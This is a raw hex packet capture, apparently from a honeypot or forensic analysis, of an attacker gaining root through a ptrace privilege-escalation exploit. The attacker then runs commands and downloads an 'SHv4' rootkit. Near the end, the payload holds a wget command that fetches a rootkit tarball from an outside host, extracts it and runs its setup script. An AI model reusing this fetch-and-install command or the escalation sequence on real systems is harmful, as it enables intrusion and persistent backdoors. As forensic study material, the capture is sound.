0x00b0 204b 422f 7329 202d 2060 7074 7261 6365 .KB/s).-.`ptrace
0x00c0 2d6b 6d6f 642e 6327 2073 6176 6564 205b -kmod.c'.saved.[
0x00d0 3339 3231 2f33 3932 315d 0a0a 3921/3921]..
05:34:06.622325 XX.XXX.XX.93.1593 > XXX.XX.X.126.443: . ack 1547 win 31856 <nop,nop,timestamp 633017618 2117240> (DF)
0x0000 4500 0034 f50a 4000 3106 9453 d380 635d E..4..@.1..S..c]
0x0010 800a 097e 0639 01bb 2e65 725f 4fd9 c0d8 ...~.9...er_O...
0x0020 8010 7c70 f716 0000 0101 080a 25bb 1512 ..|p........%...
0x0030 0020 4e78 ..Nx
05:34:06.778055 XX.XXX.XX.93.1593 > XXX.XX.X.126.443: . ack 1715 win 31856 <nop,nop,timestamp 633017633 2117256> (DF)
0x0000 4500 0034 f539 4000 3106 9424 d380 635d E..4.9@.1..$..c]
0x0010 800a 097e 0639 01bb 2e65 725f 4fd9 c180 ...~.9...er_O...
0x0020 8010 7c70 f64f 0000 0101 080a 25bb 1521 ..|p.O......%..!
0x0030 0020 4e88 ..N.
05:34:07.490475 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 1715:1736(21) ack 1097 win 8576 <nop,nop,timestamp 2117346 633017633> (DF)
0x0000 4500 0049 f2d7 4000 4006 8771 800a 097e E..I..@.@..q...~
0x0010 d380 635d 01bb 0639 4fd9 c180 2e65 725f ..c]...9O....er_
0x0020 8018 2180 15d7 0000 0101 080a 0020 4ee2 ..!...........N.
0x0030 25bb 1521 5b2b 5d20 4174 7461 6368 6564 %..![+].Attached
0x0040 2074 6f20 3738 3337 0a .to.7837.
05:34:07.547829 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 1736:1759(23) ack 1097 win 8576 <nop,nop,timestamp 2117351 633017633> (DF)
0x0000 4500 004b f2d8 4000 4006 876e 800a 097e E..K..@.@..n...~
0x0010 d380 635d 01bb 0639 4fd9 c195 2e65 725f ..c]...9O....er_
0x0020 8018 2180 e828 0000 0101 080a 0020 4ee7 ..!..(........N.
0x0030 25bb 1521 5b2b 5d20 5761 6974 696e 6720 %..![+].Waiting.
0x0040 666f 7220 7369 676e 616c 0a for.signal.
05:34:07.686271 XX.XXX.XX.93.1593 > XXX.XX.X.126.443: . ack 1736 win 31856 <nop,nop,timestamp 633017724 2117346> (DF)
0x0000 4500 0034 f677 4000 3106 92e6 d380 635d E..4.w@.1.....c]
0x0010 800a 097e 0639 01bb 2e65 725f 4fd9 c195 ...~.9...er_O...
0x0020 8010 7c70 f585 0000 0101 080a 25bb 157c ..|p........%..|
0x0030 0020 4ee2 ..N.
05:34:07.686552 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 1759:1843(84) ack 1097 win 8576 <nop,nop,timestamp 2117358 633017724> (DF)
0x0000 4500 0088 f2d9 4000 4006 8730 800a 097e E.....@.@..0...~
0x0010 d380 635d 01bb 0639 4fd9 c1ac 2e65 725f ..c]...9O....er_
0x0020 8018 2180 de81 0000 0101 080a 0020 4eee ..!...........N.
0x0030 25bb 157c 5b2b 5d20 5369 676e 616c 2063 %..|[+].Signal.c
0x0040 6175 6768 740a 5b2b 5d20 5368 656c 6c63 aught.[+].Shellc
0x0050 6f64 6520 706c 6163 6564 2061 7420 3078 ode.placed.at.0x
0x0060 3430 3031 3138 3964 0a5b 2b5d 204e 6f77 4001189d.[+].Now
0x0070 2077 6169 7420 666f 7220 7375 6964 2073 .wait.for.suid.s
0x0080 6865 6c6c 2e2e 2e0a hell....
05:34:07.686558 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 1759:1843(84) ack 1097 win 8576 <nop,nop,timestamp 2117358 633017724> (DF)
0x0000 4500 0088 f2d9 4000 4006 8730 800a 097e E.....@.@..0...~
0x0010 d380 635d 01bb 0639 4fd9 c1ac 2e65 725f ..c]...9O....er_
0x0020 8018 2180 de81 0000 0101 080a 0020 4eee ..!...........N.
0x0030 25bb 157c 5b2b 5d20 5369 676e 616c 2063 %..|[+].Signal.c
0x0040 6175 6768 740a 5b2b 5d20 5368 656c 6c63 aught.[+].Shellc
0x0050 6f64 6520 706c 6163 6564 2061 7420 3078 ode.placed.at.0x
0x0060 3430 3031 3138 3964 0a5b 2b5d 204e 6f77 4001189d.[+].Now
0x0070 2077 6169 7420 666f 7220 7375 6964 2073 .wait.for.suid.s
0x0080 6865 6c6c 2e2e 2e0a hell....
05:34:07.743023 XX.XXX.XX.93.1593 > XXX.XX.X.126.443: . ack 1759 win 31856 <nop,nop,timestamp 633017730 2117351> (DF)
0x0000 4500 0034 f6a0 4000 3106 92bd d380 635d E..4..@.1.....c]
0x0010 800a 097e 0639 01bb 2e65 725f 4fd9 c1ac ...~.9...er_O...
0x0020 8010 7c70 f563 0000 0101 080a 25bb 1582 ..|p.c......%...
0x0030 0020 4ee7 ..N.
05:34:07.882911 XX.XXX.XX.93.1593 > XXX.XX.X.126.443: . ack 1843 win 31856 <nop,nop,timestamp 633017744 2117358> (DF)
0x0000 4500 0034 f6cb 4000 3106 9292 d380 635d E..4..@.1.....c]
0x0010 800a 097e 0639 01bb 2e65 725f 4fd9 c200 ...~.9...er_O...
0x0020 8010 7c70 f4fa 0000 0101 080a 25bb 1590 ..|p........%...
0x0030 0020 4eee ..N.
05:34:08.879122 XX.XXX.XX.93.1593 > XXX.XX.X.126.443: P 1097:1100(3) ack 1843 win 31856 <nop,nop,timestamp 633017843 2117358> (DF)
0x0000 4500 0037 f82e 4000 3106 912c d380 635d E..7..@.1..,..c]
0x0010 800a 097e 0639 01bb 2e65 725f 4fd9 c200 ...~.9...er_O...
0x0020 8018 7c70 8128 0000 0101 080a 25bb 15f3 ..|p.(......%...
0x0030 0020 4eee 6964 0a ..N.id.
Shell access with ROOT!!!
05:34:08.892587 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 1843:1931(88) ack 1100 win 8576 <nop,nop,timestamp 2117484 633017843> (DF)
0x0000 4500 008c f2da 4000 4006 872b 800a 097e E.....@.@..+...~
0x0010 d380 635d 01bb 0639 4fd9 c200 2e65 7262 ..c]...9O....erb
0x0020 8018 2180 a304 0000 0101 080a 0020 4f6c ..!...........Ol
0x0030 25bb 15f3 7569 643d 3028 726f 6f74 2920 %...uid=0(root).
0x0040 6769 643d 3028 726f 6f74 2920 6772 6f75 gid=0(root).grou
0x0050 7073 3d30 2872 6f6f 7429 2c31 2862 696e ps=0(root),1(bin
0x0060 292c 3228 6461 656d 6f6e 292c 3328 7379 ),2(daemon),3(sy
0x0070 7329 2c34 2861 646d 292c 3628 6469 736b s),4(adm),6(disk
0x0080 292c 3130 2877 6865 656c 290a ),10(wheel).
05:34:08.892596 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 1843:1931(88) ack 1100 win 8576 <nop,nop,timestamp 2117484 633017843> (DF)
0x0000 4500 008c f2da 4000 4006 872b 800a 097e E.....@.@..+...~
0x0010 d380 635d 01bb 0639 4fd9 c200 2e65 7262 ..c]...9O....erb
0x0020 8018 2180 a304 0000 0101 080a 0020 4f6c ..!...........Ol
0x0030 25bb 15f3 7569 643d 3028 726f 6f74 2920 %...uid=0(root).
0x0040 6769 643d 3028 726f 6f74 2920 6772 6f75 gid=0(root).grou
0x0050 7073 3d30 2872 6f6f 7429 2c31 2862 696e ps=0(root),1(bin
0x0060 292c 3228 6461 656d 6f6e 292c 3328 7379 ),2(daemon),3(sy
0x0070 7329 2c34 2861 646d 292c 3628 6469 736b s),4(adm),6(disk
0x0080 292c 3130 2877 6865 656c 290a ),10(wheel).
05:34:09.082918 XX.XXX.XX.93.1593 > XXX.XX.X.126.443: . ack 1931 win 31856 <nop,nop,timestamp 633017864 2117484> (DF)
0x0000 4500 0034 f87d 4000 3106 90e0 d380 635d E..4.}@.1.....c]
0x0010 800a 097e 0639 01bb 2e65 7262 4fd9 c258 ...~.9...erbO..X
0x0020 8010 7c70 f3a9 0000 0101 080a 25bb 1608 ..|p........%...
0x0030 0020 4f6c ..Ol
05:34:11.364337 XX.XXX.XX.93.1593 > XXX.XX.X.126.443: P 1100:1114(14) ack 1931 win 31856 <nop,nop,timestamp 633018092 2117484> (DF)
0x0000 4500 0042 fc15 4000 3106 8d3a d380 635d E..B..@.1..:..c]
0x0010 800a 097e 0639 01bb 2e65 7262 4fd9 c258 ...~.9...erbO..X
0x0020 8018 7c70 9166 0000 0101 080a 25bb 16ec ..|p.f......%...
0x0030 0020 4f6c 6364 202f 686f 6d65 2f66 7470 ..Olcd./home/ftp
0x0040 640a d.
05:34:11.366425 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 1931:1982(51) ack 1114 win 8576 <nop,nop,timestamp 2117735 633018092> (DF)
0x0000 4500 0067 f2db 4000 4006 874f 800a 097e E..g..@.@..O...~
0x0010 d380 635d 01bb 0639 4fd9 c258 2e65 7270 ..c]...9O..X.erp
0x0020 8018 2180 f46c 0000 0101 080a 0020 5067 ..!..l........Pg
0x0030 25bb 16ec 2f62 696e 2f73 683a 2063 643a %.../bin/sh:.cd:
0x0040 202f 686f 6d65 2f66 7470 643a 204e 6f20 ./home/ftpd:.No.
0x0050 7375 6368 2066 696c 6520 6f72 2064 6972 such.file.or.dir
0x0060 6563 746f 7279 0a ectory.
05:34:11.366432 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 1931:1982(51) ack 1114 win 8576 <nop,nop,timestamp 2117735 633018092> (DF)
0x0000 4500 0067 f2db 4000 4006 874f 800a 097e E..g..@.@..O...~
0x0010 d380 635d 01bb 0639 4fd9 c258 2e65 7270 ..c]...9O..X.erp
0x0020 8018 2180 f46c 0000 0101 080a 0020 5067 ..!..l........Pg
0x0030 25bb 16ec 2f62 696e 2f73 683a 2063 643a %.../bin/sh:.cd:
0x0040 202f 686f 6d65 2f66 7470 643a 204e 6f20 ./home/ftpd:.No.
0x0050 7375 6368 2066 696c 6520 6f72 2064 6972 such.file.or.dir
0x0060 6563 746f 7279 0a ectory.
05:34:11.563111 XX.XXX.XX.93.1593 > XXX.XX.X.126.443: . ack 1982 win 31856 <nop,nop,timestamp 633018112 2117735> (DF)
0x0000 4500 0034 fc62 4000 3106 8cfb d380 635d E..4.b@.1.....c]
0x0010 800a 097e 0639 01bb 2e65 7270 4fd9 c28b ...~.9...erpO...
0x0020 8010 7c70 f175 0000 0101 080a 25bb 1700 ..|p.u......%...
0x0030 0020 5067 ..Pg
05:34:14.603177 XX.XXX.XX.93.1593 > XXX.XX.X.126.443: P 1114:1122(8) ack 1982 win 31856 <nop,nop,timestamp 633018415 2117735> (DF)
0x0000 4500 003c 00a0 4000 3106 88b6 d380 635d E..<..@.1.....c]
0x0010 800a 097e 0639 01bb 2e65 7270 4fd9 c28b ...~.9...erpO...
0x0020 8018 7c70 882b 0000 0101 080a 25bb 182f ..|p.+......%../
0x0030 0020 5067 6364 202f 746d 700a ..Pgcd./tmp.
05:34:14.640736 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: . ack 1122 win 8576 <nop,nop,timestamp 2118062 633018415> (DF)
0x0000 4500 0034 f2dc 4000 4006 8781 800a 097e E..4..@.@......~
0x0010 d380 635d 01bb 0639 4fd9 c28b 2e65 7278 ..c]...9O....erx
0x0020 8010 2180 49e8 0000 0101 080a 0020 51ae ..!.I.........Q.
0x0030 25bb 182f %../
05:34:14.640752 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: . ack 1122 win 8576 <nop,nop,timestamp 2118062 633018415> (DF)
0x0000 4500 0034 f2dc 4000 4006 8781 800a 097e E..4..@.@......~
0x0010 d380 635d 01bb 0639 4fd9 c28b 2e65 7278 ..c]...9O....erx
0x0020 8010 2180 49e8 0000 0101 080a 0020 51ae ..!.I.........Q.
0x0030 25bb 182f %../
05:34:16.971558 XX.XXX.XX.93.1593 > XXX.XX.X.126.443: P 1122:1125(3) ack 1982 win 31856 <nop,nop,timestamp 633018652 2118062> (DF)
0x0000 4500 0037 0391 4000 3106 85ca d380 635d E..7..@.1.....c]
0x0010 800a 097e 0639 01bb 2e65 7278 4fd9 c28b ...~.9...erxO...
0x0020 8018 7c70 7a9b 0000 0101 080a 25bb 191c ..|pz.......%...
0x0030 0020 51ae 6964 0a ..Q.id.
05:34:16.973446 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: . ack 1125 win 8576 <nop,nop,timestamp 2118295 633018652> (DF)
0x0000 4500 0034 f2dd 4000 4006 8780 800a 097e E..4..@.@......~
0x0010 d380 635d 01bb 0639 4fd9 c28b 2e65 727b ..c]...9O....er{
0x0020 8010 2180 480f 0000 0101 080a 0020 5297 ..!.H.........R.
0x0030 25bb 191c %...
05:34:16.973456 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: . ack 1125 win 8576 <nop,nop,timestamp 2118295 633018652> (DF)
0x0000 4500 0034 f2dd 4000 4006 8780 800a 097e E..4..@.@......~
0x0010 d380 635d 01bb 0639 4fd9 c28b 2e65 727b ..c]...9O....er{
0x0020 8010 2180 480f 0000 0101 080a 0020 5297 ..!.H.........R.
0x0030 25bb 191c %...
05:34:16.985782 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 1982:2070(88) ack 1125 win 8576 <nop,nop,timestamp 2118297 633018652> (DF)
0x0000 4500 008c f2de 4000 4006 8727 800a 097e E.....@.@..'...~
0x0010 d380 635d 01bb 0639 4fd9 c28b 2e65 727b ..c]...9O....er{
0x0020 8018 2180 9c0a 0000 0101 080a 0020 5299 ..!...........R.
0x0030 25bb 191c 7569 643d 3028 726f 6f74 2920 %...uid=0(root).
0x0040 6769 643d 3028 726f 6f74 2920 6772 6f75 gid=0(root).grou
0x0050 7073 3d30 2872 6f6f 7429 2c31 2862 696e ps=0(root),1(bin
0x0060 292c 3228 6461 656d 6f6e 292c 3328 7379 ),2(daemon),3(sy
0x0070 7329 2c34 2861 646d 292c 3628 6469 736b s),4(adm),6(disk
0x0080 292c 3130 2877 6865 656c 290a ),10(wheel).
05:34:16.985790 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 1982:2070(88) ack 1125 win 8576 <nop,nop,timestamp 2118297 633018652> (DF)
0x0000 4500 008c f2de 4000 4006 8727 800a 097e E.....@.@..'...~
0x0010 d380 635d 01bb 0639 4fd9 c28b 2e65 727b ..c]...9O....er{
0x0020 8018 2180 9c0a 0000 0101 080a 0020 5299 ..!...........R.
0x0030 25bb 191c 7569 643d 3028 726f 6f74 2920 %...uid=0(root).
0x0040 6769 643d 3028 726f 6f74 2920 6772 6f75 gid=0(root).grou
0x0050 7073 3d30 2872 6f6f 7429 2c31 2862 696e ps=0(root),1(bin
0x0060 292c 3228 6461 656d 6f6e 292c 3328 7379 ),2(daemon),3(sy
0x0070 7329 2c34 2861 646d 292c 3628 6469 736b s),4(adm),6(disk
0x0080 292c 3130 2877 6865 656c 290a ),10(wheel).
05:34:17.173634 XX.XXX.XX.93.1593 > XXX.XX.X.126.443: . ack 2070 win 31856 <nop,nop,timestamp 633018673 2118297> (DF)
0x0000 4500 0034 03d2 4000 3106 858c d380 635d E..4..@.1.....c]
0x0010 800a 097e 0639 01bb 2e65 727b 4fd9 c2e3 ...~.9...er{O...
0x0020 8010 7c70 ecaf 0000 0101 080a 25bb 1931 ..|p........%..1
0x0030 0020 5299 ..R.
05:34:23.490104 XX.XXX.XX.93.1593 > XXX.XX.X.126.443: P 1125:1131(6) ack 2070 win 31856 <nop,nop,timestamp 633019304 2118297> (DF)
0x0000 4500 003a 0ba7 4000 3106 7db1 d380 635d E..:..@.1.}...c]
0x0010 800a 097e 0639 01bb 2e65 727b 4fd9 c2e3 ...~.9...er{O...
0x0020 8018 7c70 fd8c 0000 0101 080a 25bb 1ba8 ..|p........%...
0x0030 0020 5299 6466 202d 680a ..R.df.-h.
05:34:23.501048 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 2070:2224(154) ack 1131 win 8576 <nop,nop,timestamp 2118948 633019304> (DF)
0x0000 4500 00ce f2df 4000 4006 86e4 800a 097e E.....@.@......~
0x0010 d380 635d 01bb 0639 4fd9 c2e3 2e65 7281 ..c]...9O....er.
0x0020 8018 2180 8e61 0000 0101 080a 0020 5524 ..!..a........U$
0x0030 25bb 1ba8 4669 6c65 7379 7374 656d 2020 %...Filesystem..
0x0040 2020 2020 2020 2020 2020 5369 7a65 2020 ..........Size..
0x0050 5573 6564 2041 7661 696c 2055 7365 2520 Used.Avail.Use%.
0x0060 4d6f 756e 7465 6420 6f6e 0a2f 6465 762f Mounted.on./dev/
0x0070 7364 6131 2020 2020 2020 2020 2020 2020 sda1............
0x0080 2037 3035 4d20 2033 3439 4d20 2033 3230 .705M..349M..320
0x0090 4d20 2035 3325 202f 0a6e 6f6e 6520 2020 M..53%./.none...
0x00a0 2020 2020 2020 2020 2020 2020 2020 2031 ...............1
0x00b0 3235 4d20 2020 2020 3020 2031 3234 4d20 25M.....0..124M.
0x00c0 2020 3025 202f 6465 762f 7368 6d0a ..0%./dev/shm.
05:34:23.501059 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 2070:2224(154) ack 1131 win 8576 <nop,nop,timestamp 2118948 633019304> (DF)
0x0000 4500 00ce f2df 4000 4006 86e4 800a 097e E.....@.@......~
0x0010 d380 635d 01bb 0639 4fd9 c2e3 2e65 7281 ..c]...9O....er.
0x0020 8018 2180 8e61 0000 0101 080a 0020 5524 ..!..a........U$
0x0030 25bb 1ba8 4669 6c65 7379 7374 656d 2020 %...Filesystem..
0x0040 2020 2020 2020 2020 2020 5369 7a65 2020 ..........Size..
0x0050 5573 6564 2041 7661 696c 2055 7365 2520 Used.Avail.Use%.
0x0060 4d6f 756e 7465 6420 6f6e 0a2f 6465 762f Mounted.on./dev/
0x0070 7364 6131 2020 2020 2020 2020 2020 2020 sda1............
0x0080 2037 3035 4d20 2033 3439 4d20 2033 3230 .705M..349M..320
0x0090 4d20 2035 3325 202f 0a6e 6f6e 6520 2020 M..53%./.none...
0x00a0 2020 2020 2020 2020 2020 2020 2020 2031 ...............1
0x00b0 3235 4d20 2020 2020 3020 2031 3234 4d20 25M.....0..124M.
0x00c0 2020 3025 202f 6465 762f 7368 6d0a ..0%./dev/shm.
05:34:23.694458 XX.XXX.XX.93.1593 > XXX.XX.X.126.443: . ack 2224 win 31856 <nop,nop,timestamp 633019325 2118948> (DF)
0x0000 4500 0034 0bec 4000 3106 7d72 d380 635d E..4..@.1.}r..c]
0x0010 800a 097e 0639 01bb 2e65 7281 4fd9 c37d ...~.9...er.O..}
0x0020 8010 7c70 e6f8 0000 0101 080a 25bb 1bbd ..|p........%...
0x0030 0020 5524 ..U$
SHv4 RootKit installation !!!
05:35:45.250457 XX.XXX.XX.93.1593 > XXX.XX.X.126.443: P 1131:1229(98) ack 2224 win 31856 <nop,nop,timestamp 633027479 2118948> (DF)
0x0000 4500 0096 c4fd 4000 3106 c3fe d380 635d E.....@.1.....c]
0x0010 800a 097e 0639 01bb 2e65 7281 4fd9 c37d ...~.9...er.O..}
0x0020 8018 7c70 81cf 0000 0101 080a 25bb 3b97 ..|p........%.;.
0x0030 0020 5524 7767 6574 2068 7474 703a 2f2f ..U$wget.http://
0x0040 6171 7561 6e65 742e 636f 2e69 6c2f 7669 aquanet.co.il/vi
0x0050 702f 7368 6175 6c69 2f73 6876 342e 7461 p/shauli/shv4.ta
0x0060 722e 677a 3b74 6172 202d 787a 6620 7368 r.gz;tar.-xzf.sh
0x0070 7634 2e74 6172 2e67 7a3b 6364 2073 6876 v4.tar.gz;cd.shv
0x0080 343b 2e2f 7365 7475 7020 726f 6f74 6572 4;./setup.rooter
0x0090 2031 3938 350a .1985.
05:35:45.287904 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: . ack 1229 win 8576 <nop,nop,timestamp 2127127 633027479> (DF)
0x0000 4500 0034 f2e0 4000 4006 877d 800a 097e E..4..@.@..}...~
0x0010 d380 635d 01bb 0639 4fd9 c37d 2e65 72e3 ..c]...9O..}.er.
0x0020 8010 2180 01ba 0000 0101 080a 0020 7517 ..!...........u.
0x0030 25bb 3b97 %.;.
05:35:45.287912 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: . ack 1229 win 8576 <nop,nop,timestamp 2127127 633027479> (DF)
0x0000 4500 0034 f2e0 4000 4006 877d 800a 097e E..4..@.@..}...~
0x0010 d380 635d 01bb 0639 4fd9 c37d 2e65 72e3 ..c]...9O..}.er.
0x0020 8010 2180 01ba 0000 0101 080a 0020 7517 ..!...........u.
0x0030 25bb 3b97 %.;.
05:35:45.291840 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 2224:2310(86) ack 1229 win 8576 <nop,nop,timestamp 2127127 633027479> (DF)
0x0000 4500 008a f2e1 4000 4006 8726 800a 097e E.....@.@..&...~
0x0010 d380 635d 01bb 0639 4fd9 c37d 2e65 72e3 ..c]...9O..}.er.
0x0020 8018 2180 8ac7 0000 0101 080a 0020 7517 ..!...........u.
0x0030 25bb 3b97 2d2d 3034 3a33 353a 3436 2d2d %.;.--04:35:46--
0x0040 2020 6874 7470 3a2f 2f61 7175 616e 6574 ..http://aquanet
0x0050 2e63 6f2e 696c 2f76 6970 2f73 6861 756c .co.il/vip/shaul
0x0060 692f 7368 7634 2e74 6172 2e67 7a0a 2020 i/shv4.tar.gz...
0x0070 2020 2020 2020 2020 203d 3e20 6073 6876 .........=>.`shv
0x0080 342e 7461 722e 677a 270a 4.tar.gz'.
05:35:45.291850 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 2224:2310(86) ack 1229 win 8576 <nop,nop,timestamp 2127127 633027479> (DF)
0x0000 4500 008a f2e1 4000 4006 8726 800a 097e E.....@.@..&...~
0x0010 d380 635d 01bb 0639 4fd9 c37d 2e65 72e3 ..c]...9O..}.er.
0x0020 8018 2180 8ac7 0000 0101 080a 0020 7517 ..!...........u.
0x0030 25bb 3b97 2d2d 3034 3a33 353a 3436 2d2d %.;.--04:35:46--
0x0040 2020 6874 7470 3a2f 2f61 7175 616e 6574 ..http://aquanet
0x0050 2e63 6f2e 696c 2f76 6970 2f73 6861 756c .co.il/vip/shaul
0x0060 692f 7368 7634 2e74 6172 2e67 7a0a 2020 i/shv4.tar.gz...
0x0070 2020 2020 2020 2020 203d 3e20 6073 6876 .........=>.`shv
0x0080 342e 7461 722e 677a 270a 4.tar.gz'.
05:35:45.297076 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 2310:2344(34) ack 1229 win 8576 <nop,nop,timestamp 2127127 633027479> (DF)
0x0000 4500 0056 f2e2 4000 4006 8759 800a 097e E..V..@.@..Y...~
0x0010 d380 635d 01bb 0639 4fd9 c3d3 2e65 72e3 ..c]...9O....er.
0x0020 8018 2180 2b9b 0000 0101 080a 0020 7517 ..!.+.........u.
0x0030 25bb 3b97 436f 6e6e 6563 7469 6e67 2074 %.;.Connecting.t
0x0040 6f20 6171 7561 6e65 742e 636f 2e69 6c3a o.aquanet.co.il:
0x0050 3830 2e2e 2e20 80....
05:35:45.297088 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 2310:2344(34) ack 1229 win 8576 <nop,nop,timestamp 2127127 633027479> (DF)
0x0000 4500 0056 f2e2 4000 4006 8759 800a 097e E..V..@.@..Y...~
0x0010 d380 635d 01bb 0639 4fd9 c3d3 2e65 72e3 ..c]...9O....er.
0x0020 8018 2180 2b9b 0000 0101 080a 0020 7517 ..!.+.........u.
0x0030 25bb 3b97 436f 6e6e 6563 7469 6e67 2074 %.;.Connecting.t
0x0040 6f20 6171 7561 6e65 742e 636f 2e69 6c3a o.aquanet.co.il:
0x0050 3830 2e2e 2e20 80....
05:35:45.482363 XX.XXX.XX.93.1593 > XXX.XX.X.126.443: . ack 2344 win 31856 <nop,nop,timestamp 633027503 2127127> (DF)
0x0000 4500 0034 c581 4000 3106 c3dc d380 635d E..4..@.1.....c]
0x0010 800a 097e 0639 01bb 2e65 72e3 4fd9 c3f5 ...~.9...er.O...
0x0020 8010 7c70 a639 0000 0101 080a 25bb 3baf ..|p.9......%.;.
0x0030 0020 7517 ..u.
05:35:45.500168 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 2344:2355(11) ack 1229 win 8576 <nop,nop,timestamp 2127148 633027503> (DF)
0x0000 4500 003f f2e3 4000 4006 876f 800a 097e E..?..@.@..o...~
0x0010 d380 635d 01bb 0639 4fd9 c3f5 2e65 72e3 ..c]...9O....er.
0x0020 8018 2180 e739 0000 0101 080a 0020 752c ..!..9........u,
0x0030 25bb 3baf 636f 6e6e 6563 7465 6421 0a %.;.connected!.
05:35:45.500172 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 2344:2355(11) ack 1229 win 8576 <nop,nop,timestamp 2127148 633027503> (DF)
0x0000 4500 003f f2e3 4000 4006 876f 800a 097e E..?..@.@..o...~
0x0010 d380 635d 01bb 0639 4fd9 c3f5 2e65 72e3 ..c]...9O....er.
0x0020 8018 2180 e739 0000 0101 080a 0020 752c ..!..9........u,
0x0030 25bb 3baf 636f 6e6e 6563 7465 6421 0a %.;.connected!.
05:35:45.502598 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 2355:2395(40) ack 1229 win 8576 <nop,nop,timestamp 2127148 633027503> (DF)
0x0000 4500 005c f2e4 4000 4006 8751 800a 097e E..\..@.@..Q...~
0x0010 d380 635d 01bb 0639 4fd9 c400 2e65 72e3 ..c]...9O....er.
0x0020 8018 2180 04ac 0000 0101 080a 0020 752c ..!...........u,
0x0030 25bb 3baf 4854 5450 2072 6571 7565 7374 %.;.HTTP.request
0x0040 2073 656e 742c 2061 7761 6974 696e 6720 .sent,.awaiting.
0x0050 7265 7370 6f6e 7365 2e2e 2e20 response....
05:35:45.502601 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 2355:2395(40) ack 1229 win 8576 <nop,nop,timestamp 2127148 633027503> (DF)
0x0000 4500 005c f2e4 4000 4006 8751 800a 097e E..\..@.@..Q...~
0x0010 d380 635d 01bb 0639 4fd9 c400 2e65 72e3 ..c]...9O....er.
0x0020 8018 2180 04ac 0000 0101 080a 0020 752c ..!...........u,
0x0030 25bb 3baf 4854 5450 2072 6571 7565 7374 %.;.HTTP.request
0x0040 2073 656e 742c 2061 7761 6974 696e 6720 .sent,.awaiting.
0x0050 7265 7370 6f6e 7365 2e2e 2e20 response....
05:35:45.692478 XX.XXX.XX.93.1593 > XXX.XX.X.126.443: . ack 2395 win 31856 <nop,nop,timestamp 633027524 2127148> (DF)
0x0000 4500 0034 c602 4000 3106 c35b d380 635d E..4..@.1..[..c]
0x0010 800a 097e 0639 01bb 2e65 72e3 4fd9 c428 ...~.9...er.O..(
0x0020 8010 7c70 a5dc 0000 0101 080a 25bb 3bc4 ..|p........%.;.
0x0030 0020 752c ..u,
05:35:45.703244 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 2395:2401(6) ack 1229 win 8576 <nop,nop,timestamp 2127168 633027524> (DF)
0x0000 4500 003a f2e5 4000 4006 8772 800a 097e E..:..@.@..r...~
0x0010 d380 635d 01bb 0639 4fd9 c428 2e65 72e3 ..c]...9O..(.er.
0x0020 8018 2180 4f0f 0000 0101 080a 0020 7540 ..!.O.........u@
0x0030 25bb 3bc4 3230 3020 4f4b %.;.200.OK
05:35:45.703247 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 2395:2401(6) ack 1229 win 8576 <nop,nop,timestamp 2127168 633027524> (DF)
0x0000 4500 003a f2e5 4000 4006 8772 800a 097e E..:..@.@..r...~
0x0010 d380 635d 01bb 0639 4fd9 c428 2e65 72e3 ..c]...9O..(.er.
0x0020 8018 2180 4f0f 0000 0101 080a 0020 7540 ..!.O.........u@
0x0030 25bb 3bc4 3230 3020 4f4b %.;.200.OK
05:35:45.703320 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 2401:2402(1) ack 1229 win 8576 <nop,nop,timestamp 2127168 633027524> (DF)
0x0000 4500 0035 f2e6 4000 4006 8776 800a 097e E..5..@.@..v...~
0x0010 d380 635d 01bb 0639 4fd9 c42e 2e65 72e3 ..c]...9O....er.
0x0020 8018 2180 f6a9 0000 0101 080a 0020 7540 ..!...........u@
0x0030 25bb 3bc4 0a %.;..
05:35:45.703323 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 2401:2402(1) ack 1229 win 8576 <nop,nop,timestamp 2127168 633027524> (DF)
0x0000 4500 0035 f2e6 4000 4006 8776 800a 097e E..5..@.@..v...~
0x0010 d380 635d 01bb 0639 4fd9 c42e 2e65 72e3 ..c]...9O....er.
0x0020 8018 2180 f6a9 0000 0101 080a 0020 7540 ..!...........u@
0x0030 25bb 3bc4 0a %.;..
05:35:45.703384 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 2402:2410(8) ack 1229 win 8576 <nop,nop,timestamp 2127168 633027524> (DF)
0x0000 4500 003c f2e7 4000 4006 876e 800a 097e E..<..@.@..n...~
0x0010 d380 635d 01bb 0639 4fd9 c42f 2e65 72e3 ..c]...9O../.er.
0x0020 8018 2180 974c 0000 0101 080a 0020 7540 ..!..L........u@
0x0030 25bb 3bc4 4c65 6e67 7468 3a20 %.;.Length:.
05:35:45.703387 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 2402:2410(8) ack 1229 win 8576 <nop,nop,timestamp 2127168 633027524> (DF)
0x0000 4500 003c f2e7 4000 4006 876e 800a 097e E..<..@.@..n...~
0x0010 d380 635d 01bb 0639 4fd9 c42f 2e65 72e3 ..c]...9O../.er.
0x0020 8018 2180 974c 0000 0101 080a 0020 7540 ..!..L........u@
0x0030 25bb 3bc4 4c65 6e67 7468 3a20 %.;.Length:.
